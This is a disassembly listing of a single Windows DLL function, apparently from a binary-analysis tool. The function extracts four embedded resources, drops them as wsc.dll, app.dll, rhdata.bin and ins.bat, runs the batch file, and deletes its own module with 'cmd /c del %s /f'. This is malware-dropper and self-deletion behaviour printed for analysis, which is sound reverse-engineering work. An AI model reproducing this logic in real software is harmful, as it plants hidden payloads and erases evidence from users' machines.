Function at 0x180003c60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6f0]
sub rsp, 0x7f0
mov rax, qword [0x1800140a0]
xor rax, rsp
mov qword [rbp + 0x6e0], rax
mov rbx, qword [0x1800186f8]
xor r15d, r15d
lea r8, [0x180011bf0]
lea edx, [r15 + 0x66]
mov rcx, rbx
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x54], r15d
mov qword [rsp + 0x68], r15
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x180003cd2
mov esi, r15d
jmp 0x180003d3a
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
jne 0x180003ceb
mov rsi, r15
jmp 0x180003d3a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
test rax, rax
jne 0x180003d01
mov rsi, r15
jmp 0x180003d3a
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test eax, eax
jne 0x180003d18
mov rsi, r15
jmp 0x180003d3a
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rcx, rbx
call fcn.180005134
mov r8, rbx
mov rdx, r12
mov rcx, rax
mov rsi, rax
call fcn.180004d00
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x48]
mov rcx, rsi
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x48], r15
call fcn.1800038d0
test al, al
jne 0x180003d61
mov dword [rsp + 0x50], r15d
jmp 0x180003d73
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x50], eax
mov rbx, qword [0x1800186f8]
lea r8, [0x180011bf0]
mov edx, 0x67
mov rcx, rbx
mov qword [rsp + 0x48], r15
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x180003da1
mov r13, r15
jmp 0x180003e09
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r12, rax
test rax, rax
jne 0x180003dba
mov r13, r15
jmp 0x180003e09
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
jne 0x180003dd0
mov r13, r15
jmp 0x180003e09
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test eax, eax
jne 0x180003de7
mov r13, r15
jmp 0x180003e09
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rcx, rbx
call fcn.180005134
mov r8, rbx
mov rdx, r14
mov rcx, rax
mov r13, rax
call fcn.180004d00
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x60]
mov rcx, r13
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x60], r15
call fcn.1800038d0
test al, al
jne 0x180003e30
mov dword [rsp + 0x40], r15d
jmp 0x180003e42
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x40], eax
mov rbx, qword [0x1800186f8]
lea r8, [0x180011bf0]
mov edx, 0x69
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x180003e6b
mov r12, r15
jmp 0x180003ed7
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r12, rax
test rax, rax
jne 0x180003e84
mov r12, r15
jmp 0x180003ed7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
jne 0x180003e9a
mov r12, r15
jmp 0x180003ed7
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test eax, eax
jne 0x180003eb1
mov r12, r15
jmp 0x180003ed7
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rcx, rdi
call fcn.180005134
mov r8, rdi
mov rdx, r14
mov rcx, rax
mov r12, rax
call fcn.180004d00
mov dword [rsp + 0x58], edi
mov rbx, qword [0x1800186f8]
lea r8, [0x180011bf0]
mov edx, 0x6a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x180003f00
mov rdi, r15
jmp 0x180003f78
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r14, rax
test rax, rax
jne 0x180003f19
mov rdi, r15
jmp 0x180003f78
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x180003f31
mov rdi, r15
jmp 0x180003f78
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r15d, eax
test eax, eax
jne 0x180003f4c
xor r15d, r15d
mov edi, r15d
jmp 0x180003f78
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rcx, r15
call fcn.180005134
mov rdx, qword [rsp + 0x60]
mov r8, r15
mov rcx, rax
mov rdi, rax
call fcn.180004d00
mov dword [rsp + 0x54], r15d
xor r15d, r15d
lea rcx, [rsp + 0x71]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x70], 0
call fcn.1800062a0
lea rdx, [rsp + 0x70]
mov ecx, 0x104
call qword [0x180018540]
lea rcx, [rsp + 0x70]
mov edx, 0x5c
call fcn.180005300
lea rcx, [rbp + 0x191]
xor edx, edx
mov byte [rax], 0
mov r8d, 0x103
mov byte [rbp + 0x190], 0
call fcn.1800062a0
lea rcx, [rbp + 0x4c1]
xor edx, edx
mov r8d, 0x103
mov byte [rbp + 0x4c0], 0
call fcn.1800062a0
lea rcx, [rbp + 0x2a1]
xor edx, edx
mov r8d, 0x103
mov byte [rbp + 0x2a0], 0
call fcn.1800062a0
lea rcx, [rbp + 0x81]
xor edx, edx
mov r8d, 0x103
mov byte [rbp + 0x80], 0
call fcn.1800062a0
lea r8, [rsp + 0x70]
lea rdx, str._swsc.dll
lea rcx, [rbp + 0x190]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rsp + 0x70]
lea rdx, str._s_app.dll
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rsp + 0x70]
lea rdx, str._s_rhdata.bin
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rsp + 0x70]
lea rdx, str._sins.bat
lea rcx, [rbp + 0x80]
call qword [sym.imp.USER32.dll_wsprintfA]
xor r9d, r9d
mov qword [rsp + 0x30], r15
lea rcx, [rbp + 0x190]
lea r8d, [r9 + 1]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x44], r15d
mov dword [rsp + 0x20], 2
call qword [0x1800184c0]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800040e8
mov r8d, dword [rsp + 0x50]
mov qword [rsp + 0x20], r15
mov r15, qword [rsp + 0x68]
lea r9, [rsp + 0x44]
mov rdx, r15
mov rcx, rax
call qword [0x1800184c8]
mov rcx, rbx
call qword [0x1800184d0]
jmp 0x1800040ed
mov r15, qword [rsp + 0x68]
xor r14d, r14d
lea rcx, [rbp + 0x4c0]
xor r9d, r9d
mov qword [rsp + 0x30], r14
lea r8d, [r14 + 1]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [0x1800184c0]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180004152
mov r8d, dword [rsp + 0x40]
mov qword [rsp + 0x20], r14
mov r14, qword [rsp + 0x48]
lea r9, [rsp + 0x44]
mov rdx, r14
mov rcx, rax
call qword [0x1800184c8]
mov rcx, rbx
call qword [0x1800184d0]
jmp 0x180004157
mov r14, qword [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x30], 0
lea rcx, [rbp + 0x2a0]
lea r8d, [r9 + 1]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [0x1800184c0]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800041ba
mov r8d, dword [rsp + 0x58]
lea r9, [rsp + 0x44]
mov rdx, r12
mov rcx, rax
mov qword [rsp + 0x20], 0
call qword [0x1800184c8]
mov rcx, rbx
call qword [0x1800184d0]
xor r9d, r9d
mov qword [rsp + 0x30], 0
lea rcx, [rbp + 0x80]
lea r8d, [r9 + 1]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [0x1800184c0]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000421d
mov r8d, dword [rsp + 0x54]
lea r9, [rsp + 0x44]
mov rdx, rdi
mov rcx, rax
mov qword [rsp + 0x20], 0
call qword [0x1800184c8]
mov rcx, rbx
call qword [0x1800184d0]
mov rcx, rsi
call fcn.1800052c0
mov rcx, r13
call fcn.1800052c0
mov rcx, r12
call fcn.1800052c0
mov rcx, rdi
call fcn.1800052c0
mov rcx, r15
call fcn.1800052c0
mov rcx, r14
call fcn.1800052c0
lea rcx, [rbp + 0x80]
xor edx, edx
call qword [0x180018498]
lea rcx, [rbp + 0x5d1]
xor edx, edx
mov r8d, 0x103
mov byte [rbp + 0x5d0], 0
call fcn.1800062a0
lea rcx, [rbp + 0x3b1]
xor edx, edx
mov r8d, 0x103
mov byte [rbp + 0x3b0], 0
call fcn.1800062a0
mov rcx, qword [0x1800186f8]
lea rdx, [rbp + 0x3b0]
mov r8d, 0x104
call qword [0x180018548]
lea r8, [rbp + 0x3b0]
lea rdx, str.cmd__c_del__s__f
lea rcx, [rbp + 0x5d0]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0x5d0]
xor edx, edx
call qword [0x180018498]
mov rcx, qword [rbp + 0x6e0]
xor rcx, rsp
call fcn.180004970
lea r11, [rsp + 0x7f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret